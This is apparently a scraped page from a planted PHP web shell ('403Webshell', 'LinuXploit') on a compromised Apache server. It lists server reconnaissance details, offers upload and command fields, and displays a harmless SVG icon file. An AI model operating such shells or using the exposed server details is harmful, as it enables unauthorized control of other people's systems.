403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/vx_testing/svgs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/vx_testing/svgs/tuition_education.svg
<svg class="transporation icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 121 95">
	<path class="svg" d="M46.599,30.613H21.645v8.671h24.954V30.613z M57.395,16.104c2.652-1.239,5.664-0.708,5.664-0.708
		s0.528-5.132,1.77-7.433c1.238-2.3,4.604-2.3,4.604-2.3L64.474,0H35.98l18.76,17.873C54.74,17.873,54.74,17.342,57.395,16.104z
		 M21.645,53.121h24.954V44.45H21.645V53.121z M112.436,94.141V81.4l-7.964-7.079v11.856H29.786c0,0-3.54-5.662-3.54-13.625v-7.079
		c0,0-2.655-0.177-8.316-0.354c-5.663-0.177-8.674-1.416-8.674-1.416V15.926h35.929L37.75,8.14H1.646c0,0,0,49.194,0,59.635
		c0,10.441,3.54,26.366,22.831,26.366C43.767,94.141,112.436,94.141,112.436,94.141z M13.68,82.639
		c-4.07-4.601-4.07-10.794-4.07-10.794s4.778,0.529,5.84,0.708c1.063,0.177,3.362,0.177,3.362,0.177s0.177,3.539,0.708,6.725
		c0.529,3.187,1.77,5.84,1.77,5.84S17.751,87.24,13.68,82.639z M105.711,15.926c0,0,0.887-0.53,3.01,0
		c2.122,0.531,4.068,1.416,4.068,1.416V7.963h-9.203c0,0,0.888,1.416,1.947,4.07C106.596,14.688,105.711,15.926,105.711,15.926z
		 M58.267,21.854c1.472,5.8,0.121,10.843-4.056,15.13c4.177,4.286,5.526,9.33,4.056,15.13c5.758,1.625,9.449,5.316,11.074,11.075
		c5.802-1.472,10.845-0.12,15.132,4.054c4.285-4.174,9.33-5.525,15.13-4.054c1.625-5.759,5.315-9.45,11.075-11.075
		c-1.474-5.8-0.12-10.844,4.055-15.13c-4.175-4.287-5.526-9.33-4.055-15.13c-5.76-1.626-9.45-5.317-11.075-11.076
		c-5.801,1.473-10.845,0.121-15.13-4.054c-4.287,4.175-9.33,5.526-15.132,4.054C67.718,16.537,64.025,20.229,58.267,21.854z
		 M84.295,16.457c11.533,0,20.882,9.349,20.882,20.881c0,11.532-9.349,20.881-20.882,20.881c-11.529,0-20.88-9.349-20.88-20.881
		C63.415,25.806,72.764,16.457,84.295,16.457z M84.296,55.033c9.772,0,17.694-7.923,17.694-17.695
		c0-9.771-7.922-17.694-17.694-17.694c-9.771,0-17.692,7.923-17.692,17.694C66.602,47.11,74.523,55.033,84.296,55.033z
		 M84.296,22.476c8.209,0,14.863,6.654,14.863,14.863s-6.654,14.863-14.863,14.863c-8.208,0-14.861-6.654-14.861-14.863
		S76.088,22.476,84.296,22.476z M115.621,51.494c0,0-0.708,3.894-3.539,5.84c-2.832,1.946-6.726,1.416-6.726,1.416s0,0,0,2.3
		c0,2.301-1.593,4.778-1.593,4.778l17.344,17.519V56.803L115.621,51.494z"/>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit